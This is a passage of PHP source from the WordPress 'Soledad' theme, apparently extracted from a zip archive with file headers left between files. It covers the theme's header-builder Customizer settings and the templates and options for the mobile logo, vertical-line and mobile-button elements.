		'top'         => esc_attr__( 'Top', 'soledad' ),
		'mid'         => esc_attr__( 'Mid', 'soledad' ),
		'bottom'      => esc_attr__( 'Bottom', 'soledad' ),
		'bottomblock' => esc_attr__( 'Bottom Ads', 'soledad' ),
	],
] ) );

foreach ( $builder_rows_desktop as $row ) {
	foreach ( $builder_columns_desktop as $column ) {
		$wp_customize->add_setting( "penci_hb_align_desktop_{$row}_{$column}", array(
			'default'           => $column,
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_sanitize_choices_field'
		) );
		$wp_customize->add_control( new WP_Customize_Control( $wp_customize, "penci_hb_align_desktop_{$row}_{$column}", [
			'type'     => 'select',
			'label'    => ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Align', 'soledad' ),
			'section'  => $builder_section,
			'settings' => "penci_hb_align_desktop_{$row}_{$column}",
			'choices'  => [
				'left'   => esc_attr__( 'Left', 'soledad' ),
				'center' => esc_attr__( 'Center', 'soledad' ),
				'right'  => esc_attr__( 'Right', 'soledad' ),
			],
		] ) );
		
		$wp_customize->add_setting( "penci_hb_flex_desktop_{$row}_{$column}", array(
			'default'           => 'row',
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_sanitize_choices_field'
		) );
		$wp_customize->add_control( new WP_Customize_Control( $wp_customize, "penci_hb_flex_desktop_{$row}_{$column}", [
			'type'     => 'select',
			'label'    => ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Flex Direction', 'soledad' ),
			'section'  => $builder_section,
			'settings' => "penci_hb_flex_desktop_{$row}_{$column}",
			'choices'  => [
				'row'   	=> esc_attr__( 'Row', 'soledad' ),
				'column' 	=> esc_attr__( 'Column', 'soledad' ),
			],
		] ) );


		$wp_customize->add_setting( "penci_hb_element_desktop_{$row}_{$column}", array(
			'default'           => '',
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_text_sanitization'
		) );
		$wp_customize->add_control( new Penci_Dropdown_Select2_Custom_Control( $wp_customize, "penci_hb_element_desktop_{$row}_{$column}", [
			'label'       => ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Element', 'soledad' ),
			'section'     => $builder_section,
			'input_attrs' => array(
				'multiselect' => true,
			),
			'choices'     => HeaderBuilder::desktop_header_element(),
		] ) );

		$wp_customize->selective_refresh->add_partial( "penci_hb_element_desktop_{$row}_{$column}", array(
			'selector'            => $partial_refresh_id[ $row ],
			'settings'            => [
				"penci_hb_align_desktop_{$row}_{$column}",
				"penci_hb_flex_desktop_{$row}_{$column}",
				"penci_hb_element_desktop_{$row}_{$column}",
			],
			'container_inclusive' => true,
			'render_callback'     => "penci_hb_element_desktop_{$row}_preview_render",
			'fallback_refresh'    => false,
		) );
	}
}

/* Mobile Elements*/
foreach ( $builder_rows_mobile as $row ) {
	foreach ( $builder_columns_mobile as $column ) {
		$wp_customize->add_setting( "penci_hb_align_mobile_{$row}_{$column}", array(
			'default'           => $column,
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_sanitize_choices_field'
		) );
		$wp_customize->add_control( new WP_Customize_Control( $wp_customize, "penci_hb_align_mobile_{$row}_{$column}", [
			'type'    => 'select',
			'label'   => __( 'Mobile ', 'soledad' ) . ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Align', 'soledad' ),
			'section' => $builder_section,
			'choices' => [
				'left'   => esc_attr__( 'Left', 'soledad' ),
				'center' => esc_attr__( 'Center', 'soledad' ),
				'right'  => esc_attr__( 'Right', 'soledad' ),
			],
		] ) );

		$wp_customize->add_setting( "penci_hb_element_mobile_{$row}_{$column}", array(
			'default'           => '',
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_text_sanitization'
		) );
		$wp_customize->add_control( new Penci_Dropdown_Select2_Custom_Control( $wp_customize, "penci_hb_element_mobile_{$row}_{$column}", [
			'label'       => __( 'Mobile ', 'soledad' ) . ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Element', 'soledad' ),
			'section'     => $builder_section,
			'input_attrs' => array(
				'multiselect' => true,
			),
			'choices'     => HeaderBuilder::mobile_header_element(),
		] ) );

		$wp_customize->selective_refresh->add_partial( "penci_hb_element_mobile_{$row}_{$column}", array(
			'selector'            => $partial_mobile_refresh_id[ $row ],
			'setttings'           => [
				"penci_hb_align_mobile_{$row}_{$column}",
				"penci_hb_element_mobile_{$row}_{$column}"
			],
			'container_inclusive' => true,
			'render_callback'     => "penci_hb_element_mobile_{$row}_preview_render",
			'fallback_refresh'    => false,
		) );
	}
}

/* Header Sticky Elements*/
foreach ( $builder_rows_desktop_sticky as $row => $row_name ) {
	foreach ( $builder_columns_desktop as $column ) {
		$wp_customize->add_setting( "penci_hb_align_desktop_sticky_{$row}_{$column}", array(
			'default'           => $column,
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_sanitize_choices_field'
		) );
		$wp_customize->add_control( new WP_Customize_Control( $wp_customize, "penci_hb_align_desktop_sticky_{$row}_{$column}", [
			'type'    => 'select',
			'label'   => __( 'Desktop Sticky ', 'soledad' ) . ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Align', 'soledad' ),
			'section' => $builder_section,
			'choices' => [
				'left'   => esc_attr__( 'Left', 'soledad' ),
				'center' => esc_attr__( 'Center', 'soledad' ),
				'right'  => esc_attr__( 'Right', 'soledad' ),
			],
		] ) );


		$wp_customize->add_setting( "penci_hb_element_desktop_sticky_{$row}_{$column}", array(
			'default'           => '',
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_text_sanitization'
		) );
		$wp_customize->add_control( new Penci_Dropdown_Select2_Custom_Control( $wp_customize, "penci_hb_element_desktop_sticky_{$row}_{$column}", [
			'label'       => __( 'Desktop Sticky ', 'soledad' ) . ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Element', 'soledad' ),
			'section'     => $builder_section,
			'input_attrs' => array(
				'multiselect' => true,
			),
			'choices'     => HeaderBuilder::desktop_header_element(),
		] ) );

		$wp_customize->selective_refresh->add_partial( "penci_hb_element_desktop_sticky_{$row}_{$column}", array(
			'selector'            => $partial_sticky_refresh_id[ $row ],
			'setttings'           => [
				"penci_hb_align_desktop_sticky_{$row}_{$column}",
				"penci_hb_element_desktop_sticky_{$row}_{$column}"
			],
			'container_inclusive' => true,
			'render_callback'     => "penci_hb_element_desktop_sticky_{$row}_preview_render",
			'fallback_refresh'    => false,
		) );
	}
}

/* Mobile Sidebar Elements*/
foreach ( $builder_row_sidebar as $row ) {
	foreach ( $builder_columns_sidebar as $column ) {
		$wp_customize->add_setting( "penci_hb_align_mobile_drawer_{$row}_{$column}", array(
			'default'           => $column,
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_sanitize_choices_field'
		) );
		$wp_customize->add_control( new WP_Customize_Control( $wp_customize, "penci_hb_align_mobile_drawer_{$row}_{$column}", [
			'type'    => 'select',
			'label'   => __( 'Mobile Sidebar ', 'soledad' ) . ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Align', 'soledad' ),
			'section' => $builder_section,
			'choices' => [
				'left'   => esc_attr__( 'Left', 'soledad' ),
				'center' => esc_attr__( 'Center', 'soledad' ),
				'right'  => esc_attr__( 'Right', 'soledad' ),
			],
		] ) );

		$wp_customize->add_setting( "penci_hb_element_mobile_drawer_{$row}_{$column}", array(
			'default'           => '',
			'transport'         => 'postMessage',
			'sanitize_callback' => 'penci_text_sanitization'
		) );
		$wp_customize->add_control( new Penci_Dropdown_Select2_Custom_Control( $wp_customize, "penci_hb_element_mobile_drawer_{$row}_{$column}", [
			'label'       => __( 'Mobile Sidebar ', 'soledad' ) . ucfirst( $row ) . ' ' . ucfirst( $column ) . ' ' . esc_html__( 'Element', 'soledad' ),
			'section'     => $builder_section,
			'input_attrs' => array(
				'multiselect' => true,
			),
			'choices'     => HeaderBuilder::mobile_header_element(),
		] ) );

		$wp_customize->selective_refresh->add_partial( "penci_hb_element_mobile_drawer_{$row}_{$column}", array(
			'selector'            => '.penci-mobile-sidebar-content-wrapper',
			'settings'            => [
				"penci_hb_align_mobile_drawer_{$row}_{$column}",
				"penci_hb_element_mobile_drawer_{$row}_{$column}"
			],
			'container_inclusive' => true,
			'render_callback'     => function () {
				load_template( PENCI_BUILDER_PATH . '/template/mobile-menu-content.php' );
			},
			'fallback_refresh'    => false,
		) );
	}
}
PK     /w\Sz3  3  -  builder/elements/pb_logo_mobile/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$logo_settings = 'penci_header_pb_logo_mobile';
$logo_url      = get_theme_mod( 'penci_custom_url_logo' ) ? get_theme_mod( 'penci_custom_url_logo' ) : esc_url( home_url( '/' ) );
$logo_display  = penci_builder_validate_mod( $header_data, $logo_settings . '_logo_display', 'image' );
$logo_title    = penci_builder_validate_mod( $header_data, $logo_settings . '_site_title' );
$logo_slogan   = penci_builder_validate_mod( $header_data, $logo_settings . '_site_description' );
$logo_class    = penci_builder_validate_mod( $header_data, $logo_settings . '_class' );
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' ) ) {
	$logo_url = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' );
}
$logo_src = PENCI_SOLEDAD_URL . '/images/logo.png';
if ( get_theme_mod( 'penci_logo' ) ) {
	$logo_src = get_theme_mod( 'penci_logo' );
}
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' ) ) {
	$logo_src = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' );
}

if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['custom_logo'] ) && $pmeta_page_header['custom_logo'] ) {

		$logo_src_meta = wp_get_attachment_url( intval( $pmeta_page_header['custom_logo'] ) );
		if ( $logo_src_meta ) {
			$logo_src = $logo_src_meta;
		}
	}
}
$extra_logo_class = ' pclogo-cls';
if ( 'image' == $logo_display ):
	$data_dark_logo = '';
	$dark_logo      = get_theme_mod( 'penci_menu_logo_dark' );
	if ( $dark_logo && get_theme_mod( 'penci_dms_enable' ) ) {
		$data_dark_logo .= 'data-lightlogo="' . esc_url( $logo_src ) . '"';
		$data_dark_logo .= ' data-darklogo="' . esc_url( $dark_logo ) . '"';
	}
	?>
    <div class="pc-builder-element pc-logo pb-logo-mobile penci-header-image-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
            <img class="penci-mainlogo penci-limg<?php echo $extra_logo_class; ?>" <?php echo $data_dark_logo; ?>
                 src="<?php echo esc_url( $logo_src ); ?>"
                 alt="<?php bloginfo( 'name' ); ?>"
                 width="<?php echo penci_get_image_data_basedurl( $logo_src, 'w' ); ?>"
                 height="<?php echo penci_get_image_data_basedurl( $logo_src, 'h' ); ?>">
			<?php if ( ! empty( $logo_slogan ) ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
else: ?>
    <div class="pc-builder-element pc-logo pb-logo-mobile penci-header-text-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
			<?php if ( ! empty( $logo_title )): ?>
                <div class="site-name"><?php echo esc_attr( $logo_title ); ?></div>
			<?php endif; ?>
			<?php if ( ! empty( $logo_slogan ) ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
endif;
PK     /w\$  $  ,  builder/elements/pb_logo_mobile/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_logo_mobile_logo_display',
	'default'         => 'image',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-radio',
	
	'label'           => esc_html__( 'Display Logo as', 'soledad' ),
	'priority'        => 10,
	'choices'         => [
		'image' => esc_html__( 'Logo Image', 'soledad' ),
		'text'  => esc_html__( 'Text', 'soledad' ),
	],
	'partial_refresh' => [
		'penci_header_pb_logo_mobile_logo_display' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_mobile_image_setting_url',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-image',
	
	'label'       => esc_html__( 'Logo Image', 'soledad' ),
	'description' => esc_html__( 'Upload your image logo here', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_mobile_image_setting_url' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_size_logo_mw',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Maxium Width for Logo Image', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_mobile_size_logo_mw',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_size_logo_mh',
	'default'   => '60',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Maxium Height for Logo Image', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_mobile_size_logo_mh',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_image_setting_href',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	
	'label'     => __( 'Custom Logo Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'              => 'penci_header_pb_logo_mobile_site_title',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-text',
	
	'label'           => esc_html__( 'Text Logo', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_mobile_site_title' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'              => 'penci_header_pb_logo_mobile_site_description',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-textarea',
	
	'label'           => esc_html__( 'Slogan Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_mobile_site_description' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_font_size_logo',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Text Logo', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_mobile_font_size_logo',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Text Logo */
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_color_logo',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Text Logo','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_mobile_penci_font_for_title',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __('Font for Text Logo','soledad' ),
	
	'description' => __('Default font is "PT Serif"','soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_penci_font_weight_title',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Text Logo','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_penci_font_style_title',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Text Logo','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
/* Slogan*/
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_font_size_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Slogan', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_mobile_font_size_slogan',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_color_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color Header Slogan','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_mobile_penci_font_for_slogan',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __('Font for Slogan Text','soledad' ),
	
	'description' => __('Default font is "PT Serif"','soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_penci_font_weight_slogan',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Slogan Text','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_penci_font_style_slogan',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Slogan Text','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobile_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_mobileclass',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\&;$    1  builder/elements/pb_vertical_line_5/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
// verical line
$line5_width = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line5_width' );
$line5_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line5_height' );
$line5_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line5_color' );
$line5_class = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line5_class' );
$data_attr   = [];
if ( ! empty( $line5_width ) ) {
	$data_attr[] = 'width:' . $line5_width . 'px;';
}
if ( ! empty( $line5_height ) ) {
	$data_attr[] = 'height:' . $line5_height . 'px;';
}
if ( ! empty( $line5_color ) ) {
	$data_attr[] = 'background-color:' . $line5_color . ';';
}
$data_attr = implode( ' ', $data_attr );
?>
<div style="<?php echo $data_attr; ?>"
     class="penci-builder-element penci-vertical-line vertical-line-5 <?php echo esc_attr( $line5_class ); ?>"></div>
PK     /w\,4  4  0  builder/elements/pb_vertical_line_5/settings.phpnu [        <?php 

$general_config = 'penci_builder_mods';
$options        = [];
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line5_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Width', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line5_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Height', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line5_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Vertical Line Color', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line5_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin' => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
	),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line5_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;PK     /w\p    1  builder/elements/pb_vertical_line_1/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
// verical line
$line1_width  = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line1_width' );
$line1_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line1_height' );
$line1_color  = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line1_color' );
$line1_class  = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line1_class' );
$data_attr    = [];
if ( ! empty( $line1_width ) ) {
	$data_attr[] = 'width:' . $line1_width . 'px;';
}
if ( ! empty( $line1_height ) ) {
	$data_attr[] = 'height:' . $line1_height . 'px;';
}
if ( ! empty( $line1_color ) ) {
	$data_attr[] = 'background-color:' . $line1_color . ';';
}
$data_attr = implode( ' ', $data_attr );
?>
<div style="<?php echo $data_attr; ?>"
     class="penci-builder-element penci-vertical-line vertical-line-1 <?php echo esc_attr( $line1_class ); ?>"></div>
PK     /w\UB    0  builder/elements/pb_vertical_line_1/settings.phpnu [        <?php 

$vertical_line_section = 'penci_header_pb_vertical_line_1_section';
$general_config        = 'penci_builder_mods';
$options               = [];
$options[]             = array(
	'id'        => 'penci_header_pb_vertical_line1_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Width', 'soledad' ),
);
$options[]             = array(
	'id'        => 'penci_header_pb_vertical_line1_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Height', 'soledad' ),
);
$options[]             = array(
	'id'        => 'penci_header_pb_vertical_line1_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Vertical Line Color', 'soledad' ),
);
$options[]             = array(
	'id'        => 'penci_header_pb_vertical_line1_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin' => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
	),
);
$options[]             = array(
	'id'        => 'penci_header_pb_vertical_line1_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\<ɒ    /  builder/elements/pb_button_mobile/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$btn_link        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_link_setting' );
$btn_link_rel    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_link_rel', 'noreferrer' );
$btn_link_target = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_link_target', '_blank' );
$btn_title       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_text_setting' );
$btn_style       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_style', 'style-4' );
$btn_shape       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_shape', 'retangle' );

$classes   = [];
$classes[] = 'penci-builder penci-builder-button penci-builder-button button-mobile-1';
$classes[] = 'button-define-' . $btn_style;
$classes[] = 'button-shape-' . $btn_shape;
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_txt_css_class', 'default' );
$btn_title = ! empty( $btn_title ) ? $btn_title : 'Button Text';

if ( ($btn_link && $btn_title) || is_customize_preview() ):?>
    <a target="<?php echo esc_attr( $btn_link_target ); ?>" rel="<?php echo esc_attr( $btn_link_rel ); ?>"
       href="<?php echo esc_url( $btn_link ); ?>" class="<?php echo implode( ' ', $classes ); ?> ">
		<?php echo $btn_title; ?>
    </a>
<?php 
endif; ?>
PK     /w\F    .  builder/elements/pb_button_mobile/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_text_setting',
	'default'   => 'Button Text',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-text',
	'label'     => __( 'Button Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_button_mobile_text_setting' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_link_setting',
	'default'   => 'https://your-link.com',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-text',
	'label'     => __( 'Button Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_link_target',
	'default'   => '_blank',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Link Target', 'soledad' ),
	'choices'   => [
		'_blank'  => __('Blank','soledad' ),
		'_self'   => __('Self','soledad' ),
		'_parent' => __('Parent','soledad' ),
		'_top'    => __('Top','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_link_rel',
	'default'   => 'noreferrer',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Select "rel" Attribute Type for Button Link','soledad'),
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'none'                         => __('None','soledad' ),
		'nofollow'                     => __('nofollow','soledad' ),
		'noreferrer'                   => __('noreferrer','soledad' ),
		'noopener'                     => __('noopener','soledad' ),
		'noreferrer_noopener'          => __('noreferrer noopener','soledad' ),
		'nofollow_noreferrer'          => __('nofollow noreferrer','soledad' ),
		'nofollow_noopener'            => __('nofollow noopener','soledad' ),
		'nofollow_noreferrer_noopener' => __('nofollow noreferrer noopener','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_style',
	'default'   => 'style-4',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
		'style-3'   => __('Creative','soledad' ),
	]
);
$options[] = array(
